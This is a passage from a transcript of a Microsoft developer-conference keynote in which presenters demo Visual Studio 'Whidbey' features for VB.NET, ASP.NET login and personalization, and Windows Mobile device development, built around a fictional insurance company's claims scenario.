actually code it in a slightly more aggressive fashion and so using the same example in Indigo we actually get down to three lines of code. (Applause.) So that's pretty impressive. I think the most impressive thing is that we actually get down to the rocket scientist to someone like me actually being able to go and write an example. We've also simplified printing. This is a lot of feedback we got, especially from the VB community on printing and print previews, way too much code dealing with printers. Visual Basic "Whidbey" actually has a feature to deal with any object, literally that print preview function takes an object, you can customize it, super nice. I think people are really going to appreciate that. We heard a lot of feedback about user management on Web sites. Lots of people want to store names, provide for personalization, and today that's a real pain. It involves sending up the schema, managing SQL Server, sending scripts, getting the code right to do the storage, getting all the encryption right and then actually running the code in your application itself to store the information in and out. And so I'm happy to say in "Whidbey" we've actually also taking a dramatic step forward and built in a user management system to ASP .NET and Scott Guthrie will show us that later. And so we kind of get all that hassle down to these three lines of code, which I think is pretty impressive. I think the other thing besides the, "Hey, make a more productive IDE, make less code," is in addition to all of these technologies, you know, help me bring together the technology into a complete solution. I hear that again and again. I hear about the lifecycle, I hear about, "Hey, these snippets are great but I have to build complete applications." So I thought it would be fun today to actually have as part of my demos an integrated demo scenario. So what we have is a fictional company called Woodgrove Insurance and we've exposed a set of Web services. And what we're going to do today is take advantage of Visual Basic .NET to build a claims processing application. This is the guy in the office who decides yes or no, I'll pay the app or not. We're going to use ASP .NET and Visual Studio "Whidbey" to actually build an end user application. This is the customer going to Woodgrove Insurance, looking at his claim history and who his adjuster is and who is agent is and all that other good stuff. And then we'll actually look at what it's like to be a guy in the field making a claim and you're out in the field, you have a little device, you need to record data and send it back to the Woodgrove corporate headquarters. So we'll have all of these scenarios working together and then we'll show how when it's all done we can actually not just deploy the client software -- you'll see that in the demos -- but also deploy and manage the Web services themselves consistent with IT policies. So with that introduction I'd like to bring out Ari Bixhorn. Ari is going to show us Visual Studio "Whidbey" and we'll kind of do a quick lap around. Welcome, Ari. (Applause.) ARI BIXHORN: Hey, Eric. Good to see you. Good morning, ladies and gentlemen. Are you ready to see "Whidbey?" (Cheers, applause.) All right, not too bad for pretty early in the morning. So Eric was talking about some of the productivity enhancements that we're introducing in "Whidbey." And we really are aiming to take productivity to new heights, particularly for Visual Basic developers. So in this demo we'll see how VB developers, who are the Woodgrove Insurance Corporation, take an existing version of that claims processing application, update it using VB "Whidbey" and then redeploy it out to the Tablet PCs that it's running on. Now, we'll start the demo with the application as it exists today. It's already running in Version 1 and it's been deployed using Click Once, so we know that when we run it we'll always be getting the most updated version of the bits. Now, for those of you who saw the "Avalon" demos yesterday, get ready to get blown away by some really, really nice UIs. So let's start off this demo on our Tablet and let's launch this application. Gorgeous Flash screen, there it is. (Cheers, whistles.) Yes, thank you, thank you. ERIC RUDDER: And for those that kind of like the tilting by 10 degrees, that's kind of the VB 6 version. (Laughter.) ARI BIXHORN: So as we can see, the application is -- well, it's a little lifeless. It needs a UI scrub. I don't know, it doesn't take advantage of the Tablet PC capabilities and we need to pretty much overhaul this application. So with that, let's switch over to our development machine and see how we can do this. So here we are inside of "Whidbey." And we can see our application or our form as it exists today. The first thing I'm going to do is simply go ahead and close this out and I'm also going to close that gorgeous Flash screen and exclude them from this project because we don't need them anymore. Now, let's make a little bit more room so that we can have as much space to code as possible. Now, remember the tool window docking model that we introduced in VS .NET. Well, we've made that better in "Whidbey." So watch what happens as I go ahead and click on my data source fields window and we're going to drag and drop that over into our solution explorer. Watch what happens. We now get guides that tell us exactly where I'm going to be dragging and dropping that particular tool window; pretty cool. (Applause.) All right, now let's add some data. And I'll switch over to the new version of my claims form. We can see here it's looking a little nicer. Now, remember all of that ADO .NET code that we can write today to wire up data adaptors and connections? Well, if you want you can still do that or in "Whidbey" what we can do is simply click on a field, in this case it's a Web service, we drag and drop it onto our form, boom, automatically generated data-bound UI. (Applause.) All right. Now, what I'm going to do is format this data grid so it's not taking up quite as much space on the screen. Now, what happens if we need to get some help within our application? Well, we have a help system today but it can always be improved, right? We have a new help system in "Whidbey" called My Help and it integrates a better searching mechanism, it's got a great hierarchical view of the data that we need access to and it also integrates community features. So I'm going to go ahead and launch My Help and what we can do here is drill into our How Do I section. So I'll drill into Windows forms, controls, and let's check out one of the new data controls. Let's check out grid view. And we get a list of topics here. We've drilled down into this pretty quickly. We also get some really good filtering capabilities, either by language or by technology. Now, watch what happens when we go into this first topic here, just an overview of the grid view. It looks like a pretty standard help topic, but what I'm going to do is scroll down and we'll see some community integration. At the bottom of this help topic we can see the annotations in our help. Now, these annotations allow either Microsoft or the customer to update information, post discussions, code samples and so on directly into the help topic. So we can see Microsoft has posted some information about the data view being converted to a grid view, we can see SQL Big Man has posted some information here, and we can really post anything we want here, so we're always getting updated help. All right, let's go ahead and close out My Help and now let's tweak our UI a little bit. We talked a little bit about the productivity features in the designer and what I'm going to do is click on a Smart Tag that we have here on our form. This Smart Tag is a new feature that we have inside of the designer that will allow me to customize the look and feel of that UI without writing any code. So in this case I'm going to change that data grid to a details form just with the click of a mouse. So we've got our data-bound UI, we haven't written a single line of code. Now, I'm going to delete these last three fields here. These actually represent binary data that we're pulling from our SQL Server database, ink data and picture data about this particular claim. Instead, I'm going to use the advanced data binding capabilities of "Whidbey" to wire these up to an ink picture control, so we'll go into the advanced data binding tab, we'll pull the picture of the car accident that's represented in this claim, and then we'll bind it to some ink data inside of SQL Server so that I can leave annotations on my form about the car accident. ARI BIXHORN: We'll scroll down into the form, and we have another ink-enabled control here. This is the custom ink notes control, and we'll wire that up for Tablet PC support as well. Close that out. And now we're ready to move on. So, we get this rad data binding that's also very flexible. Now, what about printing, for any of you VB developers who have ever tried to print using Visual Basic 6, or even VB.NET, you know what a joy it can be, right? A couple of you out there feel my pain. All right. So, in "Whidbey," we make printing a lot easier. So, what I'm going to do is go into our code editor, and I'm going to make use of the My Classes. My Classes in "Whidbey" allow me to go ahead and get access to commonly used framework functionality very easily. So, I'm going to type With My and when I type a dot, I get a list of resources from our Web Services to our Forms collection. In this case, I'm going to select computer, and from there I get resources related to the computer, from the mouse to the registry. In this case, I'll select the printer selection, and from there the default printer. Now, we can set the output type of this print to be a print preview, and with that I can do self-printing. Notice that the print method takes an object, and it's overloaded with a bunch of different data types, so we can pretty much patch in anything that we want to this print control. Now, instead of doing that, what we're going to do is drag and drop a couple of lines of code into our code editor that will allow us to print out this frame. Something else to point out, notice the yellow highlights on the left-hand margin of our IDE. These allow me to keep track of where I've made changes in my code book before and after I've saved it. (Applause.) All right. So back to the designer, we've wired it up for printing. Now, let's go ahead and add the ability to e-mail this form to someone else in our organization, or maybe to the client themselves. I've got a submit button down at the bottom right hand side of the form, and it's anchored to the bottom right. I'm going to create a copy of this, and then paste it back onto the form so that we'll have a button that we can wire up for e-mails. I'll paste that onto the form, and now watch what happens as I drag this button, and as we get closer to the original proximity of that submit button. As I drag it closer, that button is going to get locked in using a snap line. Snap lines allow me to line up my controls on the designer very easily. (Applause.) And we talked about Smart Tags a little bit, check out the Smart Tag that I've got on this button. It recognizes the fact that this button is within close proximity of another button that's anchored to the bottom right of the form. So, it gives me the option, without jumping back and forth between the properties window to set the anchor property. All right. Now, speaking of jumping back and forth between the properties window, what if I want to edit some text on this button? I'm going to enter a new mode called Edit Properties. And this is going to allow me to edit all of the properties of the controls on my form without going back and forth to that properties window. So, I'll select View Edit Properties mode. It's going to bring up a little tray at the bottom of my designer, and as we can see, I've got the names of all these controls directly accessible to me, and easy to edit right on that form. So, how I can select the text, move back over, I'll type e-mail, and now we can exit out of Edit Properties mode, and we're ready to wire up some code behind this button. I'll double click on that button, and I'm going to dim up the new mail message. Now, watch what happens when I type up a syntax error. The mail message as new mail massage. Not only do I get a squiggly, but I also get a nice little smart tag here that allows you to auto-correct that functionality. (Applause.) For the purposes of this demo, I'm going to show you a new feature in the code editor called Code Snippet. Rather than write this code manually, we're delivering a bunch of code snippets as part of "Whidbey" that allow you to interact with files, to register, essentially perform common tasks. So, in this case, we've got an e-mail snippet. I'll go ahead and enter that into my editor. Now, check this out, this is actually more than just a code snippet. It's actually a template where I can fill in the blanks, and have easier access to that code. Pretty cool, huh? (Applause.) All right. Let's test out this application. We're almost ready to redeploy it to the tablet. Let's go ahead and debug our code first. I'm going to go ahead and start the application. we should get an updated version of that pretty splash screen. And here we are inside of our app. So, let's go ahead and test out that no code data binding. Bingo. Yes. This is ‑‑ ERIC RUDDER: This is why you want to be careful before you agree to beta test the Auto PC Nav Sys. ARI BIXHORN: It looks like a three-point turn that's gone horribly awry here in the alley. So, we've got our form, we've got it bound to the picture. Let's test out our print functionality. So, I'll click print preview, and we hit a run-time exception. Check this out, we've got a run-time exception helper. This provides information about the exception, and also some tips that will help you work through it. I can see here that I've made a mistake, and I've call "incident.date" "incident.dat" . Wouldn't it be great if I could just edit this code inside of the debugger? Not have to restart it, and simply continue? Yes. Edit and continue. Yes, indeed, back in Visual Basic. (Applause.) All right. So, we've thoroughly tested this application. ERIC RUDDER: We ran it. ARI BIXHORN: We ran it, yes. Now, let's go ahead and redeploy it to that tablet. To do this, I'm going to invoke the Click Once Deployment Wizard. And so what I will do is, I'll right click on my project, select "publish project" and this is going to invoke the wizard. This is going to allow me to deploy this application to a Web Server which can then be downloaded automatically on to that tablet PC and run seamlessly. So, we can select the location. I can specify whether I want the app to be available both online and offline, or just online. In this case, we'll go ahead and make sure that it's online and offline. And now, we'll click finish. With that, Visual Studio should invoke Internet Explorer, and give us a test page where we can test the deployment of this application. But, instead, let's switch back to our tablet PC. All right. So, we've still got Version 1 of the application running on the tablet. Let's go ahead and close this down. Now, when I click on the icon this time, we're going to go up and check out the latest version of those bits, automatically download them to my tablet PC, and run the updated version of the application. All right. (Applause.) So, we can go ahead and load up our data. I can make some annotations here, nice one, OK. We can scroll around in our data. ERIC RUDDER: This one is actually the boat's fault. ARI BIXHORN: The thing that gets me about this is, look at the look, the expression on the client's face. It's like this is an everyday thing. All right, we ran into a bug again. Now, the thing that I'm not quite sure about here is, how did the client get out of the car without plunging into the water. She's dry. This looks suspicious to me, folks. All right. So, we've seen a lot of new features in VB "Whidbey" today. What are the main things we want to take away? Well, whether we're talking about rad data access, whether we're talking about the new designer features, the new code editor features, or edit and continue, we're going to take VB developer productivity to new heights in Whidbey, and in VB "Whidbey," you're going to get much more productivity whether you're developing, debugging, or deploying applications. Thank you. Thanks, Eric. (Applause.) ERIC RUDDER: Well, we may not be able to help you drive, but I think we can help you write some code. So, you saw the example of the Web services talking to a smart client there, and really leveraging the advantages that these things have. The ability to run offline, to be able to support tablet, we could add speech, we could add lots of cool features. But sometimes we really need to take advantage of Web services and provide reach in different ways, and we feel it will be great for Web development as well, and we've made some fundamental changes there that I think are worth spending a minute on. The first change is that with "Whidbey" you can open any Web from any place. So, while the FrontPage server extensions are still fully supported, they're not required. You can directly open an FTP site, you can open a file system directly, it's synchronized. We've improved page design quite a bit with a notion of master pages, which allow you to do visual inheritance. I think that's going to be quite sexy. We do a much better job with HTML source preservation, always a touchy topic. We can generate SHTML markup for those that want SHTML compliance. We've added some fantastic validation features for Section 508 compliance. We have an accessibility feature. You can choose your browser target dynamically, and do real-time validation against the browser target. We have intelli-sense for inline code in the browser, which is super nice, in CSS and the Web config file. We'll up the performance of our Web server quite a bit. We'll allow for database caching, and cache invalidation, kind of in an open architecture to let you to use multiple drivers. Like everything else in Whidbey, there's full support for 64-bit, and we've done a great job, improving the administration, and by synchronizing with MMC providing a configuration API that you can take advantage from your own management systems, scripts, or however you want to do health monitoring for IIS, fully, as well. So here actually I think, again, a demo is more powerful than the features. So I'm going to invite Scott Guthrie to come out and show us a little bit about how "Whidbey" works for Web development. Good morning, Scott. (Applause.) SCOTT GUTHRIE: Thanks, Eric. So what I'm going to show over the next few minutes is how the combination of ASP.net, and Visual Studio Whidbey enable Web applications to be built easier and faster than ever before. Specifically, I'm going to go ahead and build the customer facing Internet site for Woodrow Insurance, one that enables logged in clients to access their information, as well as create a personalized view on top of that data. So to begin with I'm going to spend a little bit of time working on the overall UI and layout of my site. Now, as you know, one of the challenges for Web applications today is coming up with a design that you can apply cleanly and consistently throughout your pages. Doing that today, with today's tools and technologies is pretty hard, with "Whidbey" we're making it easy. Specifically, as Eric mentioned, we have a new feature we call master pages, that we're adding both runtime and design time support for. Master pages is an ASP.NET page that can have any HTML or server control content on it, as well as some regions that can be replaceable or filled in by other pages within the site, and that enables you to have a consistent look and feel across the site, and have everything sort of be based on top of that master template. For example, what I'm going to go ahead and do here is open up a Woodrow master page in our Visual Studio designer. Right now there's just some HTML on here, we have a header, kind of a navigation bar on the site, and a little bit of a footer . What I want to go ahead and do is have this region right here in the center be what all the pages on my site kind of fill in, and keep that outer chrome around them. So to do that I can go ahead and add a new control we shipped in "Whidbey" called a content placeholder control to the page. Hit C, and now when I build any new pages on my site I can choose to have that page be built on top of this master template, hit okay. What Visual Studio will then go ahead and do, when I edit this page it will automatically import that master template around the top and around the side, it's going to gray it out, because I can't edit it, because that's only defined on the master. And instead I can now go ahead and add content directly to this page. ERIC RUDDER: This is a great feature for when the VP decides at the last minute he doesn't like the look of the demo. SCOTT GUTHRIE: Which Eric has been known to do. So basically you can see I have a unified view in the designer at the source level, all I'm saving in the source file is the actual content for that home page specifically. Everything else is stored in the master file, which means if Eric does decide to change the look and feel on the fly, which hopefully he won't right now, basically if he does decide to change it, all the pages on the site built off that master file will automatically update and take effect at run time. As you can see at runtime ASP.NET will automatically merge the two together, and send back a single HTML page to the browser. Now, we're building an insurance site, and so we probably don't want to have "Welcome to the PDC" be the main text on our home page. Obviously, instead we probably want to have some insurance information, insurance rates, market data, claim history information, et cetera. So to help with that, I've actually built a few existing Woodrow controls that are going to provide some default information that we can take advantage of on our page. What I want to go ahead and do is lay out that information in kind of a nice, clean, modular fashion, and to help with that I can take advantage of some new controls that we're shipping in the "Whidbey" time frame called the Web Part Zone Controls. What a zone control does, it serves as a sort of a container for all the other controls on the page. So, for example, you can see this Web Part Zone here, and there's a news and a rate control here. What a zone control does then is it provides kind of this nice modular look and feel for the controls in the page. You can see it in design time, if I go back and hit refresh in our browser, it also shows up at runtime. So it promotes a consistent toolbar, the minimize and the close button, it kind of lets me lay out that information in a nice clean way on the page. A little bit later on I'm also going to be showing how you can take advantage of some cool personalization features as far as these controls, to really kind of extend and customize the site. Now, right now all the information on this homepage is kind of fixed. So you'll notice we have breaking news, market data, et cetera. Nothing is customized for the incoming client actually visiting the site. And the reason for that is right now this application, we don't actually know who's visiting a site. There's no authentication mechanism, there's no way to know who is logged into the system. So that's what we're going to go ahead and add now. How many people build sort of their own membership system with an Internet-based Web site today. A number of hands. It involves writing, as Eric showed earlier, probably about at least 1,000 lines of code, to securely store your user credential, possibly implement rule management, security, et cetera. The nice thing with "Whidbey" is all that functionality is built in. There's now a membership and rule management system that will securely store your credentials, manage all those user accounts for you, and you can write very little code in order to integrate it to your site. To show that I'm just going to go ahead and add a log in page, I'm going to base it again off this master template, so it will have a consistent look and feel across our site. Now, within this log in page what I want to do is prompt the user for their user name and password, and somehow authenticate them into the system. Now, as Eric showed earlier, I could write one line of code, and build my own UI that calls that in order to grab the user name and password and log them in, or I can actually take advantage of any set of what we call log in controls that we're shipping with ASP.NET "Whidbey" , and one of them is called the ASP.NET Log-In Control. And what this does is basically do all that work for me. The UI control that provides the log in screen, I can richly customize the look and feel, and under the covers it will then automatically talk to the membership system for me, and if the user name and passwords match it will log the incoming user into the system. So we have a log in page now on our site. Let's go ahead and integrate it into our master page so people can actually find it. And to do that I'm going to go ahead and add one more log in control to the page, this one is called log in status. And what this will do is it will automatically toggle either log in or log out, depending on if the user visiting the site is logged in, or if they're actually not currently authenticated. And it will point the person at the log in page if necessary. Let's go ahead and refresh in our browser. You'll notice we now have a log in link, I'm not currently authenticated onto the system. I click this link, enter in my e-mail account, it's going to go ahead, log me in automatically to the membership system, identify me on the site. You'll notice we now have a little welcome Scott message on the top left hand corner. And if I wanted to click that link again it would automatically sign me out. So now programmatically from within the site I know exactly who is visiting on a particular page request, and I can start to customize the experience based on that. So let's go ahead and do that. Right now the information that's being displayed on this home page, it's kind of fixed. It's breaking news, market data, there isn't anything customized for the incoming user. We now know who the user is, though, and so we can go ahead and add it, add some content that is based on that user. And so specifically what I'm going to go out and do is I'm going to add a new control to the page, called claim history. So what I want to do from this control is access the back-end Web service, using the logged in identify of the user. Get some claims history information from them, and then display it on the page. So to do that I'm going to take advantage of a new control we have called a grid view, and then I'm going to use Visual Studio to walk through binding this control to either a Web service, or a back end object. I'm going to call this service the insurance service. You know, Visual Studio automatically reflects what methods are available on top of that object that I want to bind against, so I'm going to say I'm going to bind to the look up claims. The other nice thing about our controls in "Whidbey" is you no longer need to handle customer code in order to enable paging and sorting, all that is now built into the control. So all I have to do is say, allow paging, allow sorting, and now that Web service data that's returned is automatically sorted and pageable within my grid. The only code I do need to write is one line of code, so I'll write it right now. I'm just going to go ahead and pass to that Web service the identity of the incoming user, we're just going to pass a customer ID argument here, and I'll pull out the value of the log in user name. Last but not least, we're just going to go ahead and format this grid to be a little bit more attractive, we'll make it 100 percent wide, so it will fill up that whole column. Now I have a reusable control that I can add to my home page. To do that I'm going to go back to the page, go ahead and enable some editing, and I'm just going to drag and drop the claim history control onto a page, come back here, hit refresh, and you'll seen now my claims history control shows up within my site. It has the same nice title bar that the rest of the controls have, I could obviously customize the exact name of it. And you'll notice that I have automatic sorting and paging support across my data, I didn't have to write any code to do it. There's one thing missing from this site right now, and that is the ability for the end user to richly customize what the layout is, personalize what the look, or the overall structure of the site. Instead right now you'll notice the locations of all the controls are basically hard coded in by the page developer. What I'd ideally like to do is be able to have the logged in user, who is a client of mine, be able to say, gosh, I really want to move this site around, and actually structure it for how I want to see it as a user, not just how the developer thought it made the most sense. Doing that type of customization or personalization today typically requires several thousand lines of code, with "Whidbey" it becomes really easy. All I need to do as a page developer is provide some way for an end user to switch the ASP.NET page into what we call personalization mode, and then ASP.NET will basically do the rest. It enables controls to be dynamically re-laid out, and automatically save those settings for him. So I'm going to go ahead and enable this, add a link button to my site, I'm going to go ahead and call this link button personalize. As a developer I'm going to double click to handle the appropriate click events of this link button, and write one line of code, which is going to switch this page into what we call display mode, or editable mode. So this is what I write as the developer. Go ahead and save, come back to our Web site. Now, you'll notice I'm logged in as Scott onto the site, there's now a personalize link that's showing up here. If as an end user running in a standard browser I click this, you'll notice that the page is going to shift into a slightly different mode than we had before, there's now, for example, a left column and right column showing. And as an end user in the browser, I can now go ahead and drag and drop any of the controls on the page, customize the layout of it, so let's move our claims history down a little bit. I can go ahead and remove any controls I want from the page, so go into our little catalogue gallery up here, I can also link off the other controls that I expose on my site, so that if they want to add them back in it's pretty easy to do so. And when the end user clicks close on the browser, what will happen is ASP.NET will figure out what are the changes that were made, how is the page personalized, and automatically write those layout changes to the new ASP.NET personalization store that ships as part of "Whidbey." Now if I were to log out of this browser, go to a completely different machine and log back in, I'd see the exact same settings personalized for me that I customized right here. So in summary, in the last couple of minutes what we've built, we've built a site that now has a clean, consistent look and feel using master pages, enables great developer and designer cooperation. We've added a secure authentication method to our site, so that now our customers can log in. We've gone ahead and connected to a back-end Web service to get claim history information. We're binding that data directly to the page, and now I can go ahead and personalize the site in a rich way, and really build a customer experience that rocks. And you saw, it didn't take much code at all, it didn't take much time. And it really enables your applications to go to the next level. ERIC RUDDER: Thanks, Scott. SCOTT GUTHRIE: Thanks. ERIC RUDDER: I want you to remember when you're trying "Whidbey" in your office, and some day it saves you thousands of lines of code, I want you to give a little bit more applause, even if you're in your office we'll still hear it. It's kind of like Tinkerbell and if you believe in peanut butter. So now we have a smart client, which you saw developed with VB.NET, we saw Scott take us through "Whidbey" on the Web. And if you remember the third part was really taking advantage of devices, connecting back to the Web services. And we're doing a lot of work with our Windows Mobility group making sure we've got a great support story for devices, and our Web service support. We're going to take all of our managed code APIs for messaging, telephony, multimedia, make sure they're available on the compact framework. We've enhanced the compact framework to support the new devices, and make sure we can support things like cameras, or new features, the new resolutions of the devices. You can build and deploy applications for Windows mobile devices today. And you can use the same toolset, Visual Studio, for Pocket PC, or Pocket PC Phone Edition, or Smart phones, or Tablet PCs. As a matter of fact, everyone who attends here will actually get in the mail the Tablet PC SDK update, which not only allows you to add basic inking support to your application by dragging the RIO control, the rich ink object, but it also allows you as the developer to kind of conspire with the Tablet recognition system. So you can actually give the Tablet information, called context tagging, about your application. And you know in your application, hey, this feels ‑‑ it's a number, it's a Social Security ID, or it's a name, so you'll actually get improved recognition. The more information you give the Tablet about what data to expect the better job it can do for you. So we give that control back to the developer, and it's something we're very excited about. I think we kind of have to decide which device we're going to support for our demo on Windows Mobile. And there's actually a huge choice of Windows-powered devices now. So I'd actually like to invite Kevin Lisota, our a.k.a. Batman, to show us some of the Windows Mobile devices. How are you? KEVIN LISOTA: Thanks, Eric. So as you can see I've got a utility belt here loaded up with the latest Windows Mobile 2003 devices. ERIC RUDDER: That it awesome, I've heard of utility computing, but utility belt computing sounds much more exciting. KEVIN LISOTA: Actually all of the devices here that I'm going to show you today actually do have the .NET Compact Framework in ROM, so that you can target the devices using VisualStudio.NET and the Compact Framework. Actually all the devices that I have here have been either released or launched in just the last couple of weeks. Let's take a look at the great work that some of our hardware partners are doing. If I fumble around with these. Keep in mind that these devices are not necessarily designed for these big, heavy gloves. So the first device I've got here, this is from our friends at Toshiba, this is actually the E-800 device. It's got integrated WIFI capabilities, but the interesting thing about this device is it actually is the first Pocket PC device to have VGA resolution. ERIC RUDDER: That's kind of incredible, my first PC didn't have VGA resolution, let alone color. KEVIN LISOTA: My Bat computer also doesn't have VGA resolution. So the next device we've got here, this is actually the latest Pocket PC Phone Edition device. So this has 128 megs of memory on board, it's got integrated BlueTooth support, and if I flip this guy around here, you'll see that it also has a camera onboard, so a real powerful Pocket PC phone device. ERIC RUDDER: That's pretty cool. KEVIN LISOTA: Our friends over at Dell have been doing a lot of work with their Axim line of Pocket PCs, so this guy just came out a week or so ago. This is the Dell Axim X3I. So the interesting thing here, they've got a real slim form factor and it's got Wi-Fi support on board as well. We've got more. The utility belt is full today. So our friends over at Sierra Wireless have actually been doing some great work on the smart phone form factor. This is a device they call the (Voke ?) and the (Voke ?), the interesting thing here is that they've taken the phone form factor and they've built in a flip-out QWERTY keyboard for those of you who do a lot of text messaging. (Applause.) ERIC RUDDER: Well, that's kind of cool. You know, Bill showed, yesterday showed the two new phones, he showed the Motorola phone and one of the others, too. I tried to get Bill to come out in the bat costume to show us all the smart phone devices but for some reason I couldn't get him to go. E-mail on the devices is kind of amazing. I was talking to some of the engineers the other day. When we actually designed Exchange back in the day when I joined Microsoft we actually designed it for a target machine that had less CPU power and less memory than some of the machines that we're actually showing today, which doesn't necessarily mean we're going to run Exchange Server on the device -- (laughter) -- but if you think about the amounts of processor power that Moore's Law has delivered and where these devices are really heading in the future and the types of application that you can build on it, it's incredible. KEVIN LISOTA: All right, so the last device out of the utility belt here is the latest from our friends at HP. This is the iPAQ 4155. This is a great little device. It's actually got integrated Bluetooth support. And it's also got integrated Wi-Fi in a very, very small form factor that fits nicely in your shirt pockets. Of course, Batman doesn't have a shirt pocket but it will fit nicely in Eric's shirt pocket. ERIC RUDDER: I have a shirt pocket. KEVIN LISOTA: But I'm going to take that one back, because I really want to take that one home. ERIC RUDDER: Really? KEVIN LISOTA: Oh yeah. (Laughter.) ERIC RUDDER: We'll have to talk about that behind the stage, Batman. So that's just a quick glimpse at some of the devices that have come out in just the past couple of weeks. I wanted to bring out our Boy Wonder lead program manager, Ori Amiga, who's going to talk a little bit more about programming for these devices using Visual Studio .NET and the .NET Compact Framework. Ori? (Applause.) ORI AMIGA: Holy developer physique, man; you're certainly not as slim as that device. But tell me this, can I get this at this conference? KEVIN LISOTA: Well, actually if you haven't seen it already, the folks over at the Mobile Planet store, HP and Microsoft are sponsoring a really big discount on the latest iPAQ devices. So visit the Mobile Planet store over in the expo hall and you can get your hands on them while the supply still lasts. ORI AMIGA: Cool. What about my smart phone developer needs? Can I get a smart phone to develop on with the Compact Framework in ROM? KEVIN LISOTA: Yeah, actually, Ori, they're actually selling the smart phone developer kit over there as well, so you can get a development and test device so you can trial the Compact Framework development on the smart phone. ORI AMIGA: Sweet. Does it get any better than that? KEVIN LISOTA: Well, if you're one of the lucky people to attend one of the Windows Mobile sessions or a .NET Compact Framework session this week at PDC they're actually going to be raffling off a whole bunch of V37 Viewsonic Pocket PCs as well. ORI AMIGA: Slick. Thanks, Batman. So what we've shown you today is some of the incredible rocking innovation we're doing on the hardware side in the device space. Some of these devices with VGA, integrated camera, Bluetooth, Wi-Fi, telephony, just amazing, but the really cool thing that Eric mentioned is you can go out there today with a Pocket PC and Smartphone 2003 SDKs in your bag on the Longhorn DVD and start building managed code apps. But what I want to do right now, Eric, I want to show you a glimpse of the future generation Windows mobile platform and how we're going to enable you to take advantage of all these great features. So let's step back over here and what we have here is a prototype smart phone device. It's running the "Whidbey" version of the Compact Framework. It's got a camera. It's got Bluetooth. And one of our core tenets, our core pillars in the next release is really go focus on empowering C# and VB .NET developers to leverage virtually every aspect of the platform. We're talking about our rich notification architecture, our Pocket Outlook namespace with access to mail, contacts, calendar, tasks, virtually all the data on the device, our XML configuration system, telephony, SMS, camera, DirectX, location, Web services and much more. And instead of just talking about these, let's go ahead and show you just how easy it is to build an app on this device. We're going to start with Visual Studio and create a new smart device project. In our case we're going to call it our claim application to interface with the insurance back-end that you've seen earlier. We could target a smart phone or just as easily a Pocket PC or a generic CE device. You'll notice that Visual Studio allows me to quickly drag and drop controls on my form. It's got the right size for me, 176x220 pixels. If this was a VGA device or a landscape device, the IDE adjusts automatically. Also, only the controls that are available on this platform are showing up and so we can go ahead and drag a combo box, notice the right size for the form. I could drag a picture box on and we'll bind that to the camera in a moment. I can set properties just like I can for a desktop app. In this case we'll stretch the image. We can go ahead and add a label control. I can even create menus dynamically in the IDE and we'll call this the submit menu to submit some data that we capture on the device. We can great a get image menu, which would allow us to call the camera. I can generate the event handlers for the menus automatically. And all I have to do now is go ahead and wire up some of these controls and my app is ready to go. So the first thing we're going to do is create a new item store. And a new item store basically allows us to reference the contacts database on the device. That's all we need to do now and now I can just bind this to the camera box, set the data stores to be mystore.contacts.items and that's it, two lines of code, something that today is native to take me a couple hundred lines of code. Also I'd have to do that manually in managed code today. Two lines of code and we're bound to the database. The next thing we want to do -- that's pretty cool but let's see if we can get an image from the camera. What does that take? So I can instantiate the new camera object, one line of code. I can get an image to my picture box by doing camera.getimagefromfile. I can also create a bitmap right from that image and that's all it takes, three lines of code and we'll be able to get data from the camera. So that's pretty slick, again something you can't really do in native code today. But what if we want to automatically get the location of the where the image was taken right on the device without any user interaction. Can we do that? Well, using our new location platform we can instantiate a new sensor. By the way, this is a pure subset of the Longhorn APIs for location. And I can ask for a location report and say s.currentlocation and let's ask for an address support. And address support is going to return me not only my address but zip code, city, state, country, et cetera. So that's pretty slick. So we've got an image, we've got a database bound to a camera box, we've got a location report, but now I want to go off the device, talk to a Web service that's running remotely and get some additional data, so let's do that. I'm going to go ahead and add a Web reference. In our case we're going to add a reference to a weather Web service. And this is just as easy to do on a device as it is on the desktop. I'm going to go ahead and add the reference and that's it. Now I can call it and get the data. I'm going to drag over a quick code snippet. We're going to extract the zip code from the location report. We're going to get the weather from the weather service and we're going to display this on the form. So last but not least, I want to take all this data and submit it to my claims processing system via an e-mail. So all I have to do is a new e-mail message, again a new capability on the device, something that could take you a thousand lines of code to do native, for example. I can quickly add the contact from the camera box, add the subject, add a body, add an attachment as the image and submit this to the store, and so it's really that easy. All I have to do now is hit F5 and we'll switch over to our device. And now what Visual Studio is going to do is ask me what platform I want to debug on, the device or the emulator. I click deploy and now VS is going to deploy my debugger to the device, it's going to digitally sign my applications so I can run it and debug it on the phone. It's going to grab all my satellite DLLs so I don't have to worry about what other dependencies I have. And it's going to load up the execution engine, load up my apps and we're going to be able to start debugging it. And again this is just as easy to do on a Pocket PC in VB .NET or even in Windows CE. Here's our form. Naturally Bill Gates is the first contact in my address book. I'm going to go ahead and pick Eric to submit the claim to. We're going to click the Get Image button, which is going to start up our camera control. And you can't really see this but let's zoom out a little bit. There's my Bat Mobile that's having a little bit of an accident over here with the Joker. We're going to put that back in the podium and since I have a break point right where we're about to retrieve location Visual Studio is going to break at this breakpoint hopefully any second now and we're going to be able to step through the app and we're going to be able to F10 while the code is running on the device, we're going to talk down to the location platform on the device, get longitude, latitude, we're going to extract the zip code. Let's hover over that. There we are, 90015. (Applause.) Cool. We're going to hit F10. We're going to talk to our weather service, given that zip code, and retrieve some additional info. We're going to hit F5 and keep running the app and in a second or so that weather info is going to get back to us and we're going to aggregate it all. We're going to put it on the form, submit the claim and see that in action. And so how many lines of code here, we probably have less than 20 meaningful lines of code to build this entire app. Let's go back to our phone. There is our form. There is the image. There is the address of where we are. There is the data from the weather service. When I click the submit button that e-mail is going to get created for us. It's going to tell us the claim submitted successfully. I can now look in Outlook and we'll wait for this mail to come in and check this out: the address, the weather and even the attached picture from the camera. (Applause.) So to summarize this, I really want you to take a second and think about what we just did, less than ten minutes we built a smart phone app, we laid out the form, we bound it to a database on the device, talked to the camera, talked to the location services, went out to a Web service, sent an e-mail, built it, deployed it, debugged it in under ten minutes. It's truly phenomenal; we're very excited to enable mobile devices in this way. Thanks very much. Thanks, Eric. (Applause.) ERIC RUDDER: Well, that's kind of awesome. So now we've seen the smart client, we've seen the Web client and we've seen what we can do with devices, again all integrated into one company running Web services as their key architecture. We're going to kind of switch now and talk about rather than deploying to the devices, how we take those Web services and actually deploy them to IT infrastructure. And the key initiative that Microsoft has for making it easier for developers and IT professionals to work together is called our Dynamic Systems Initiative or sometimes DSI. And at the core of it is a technology, which we call SDM, or System Definition Model. And the idea is that the folks in IT can codify their policies and then the developers can actually see on their desktop, okay, hey, I know from my application IT runs their servers this way, it requires this set of things, when I drag over we'll actually check it on the fly. And it prevents the situation where everybody has to kind of come in on a 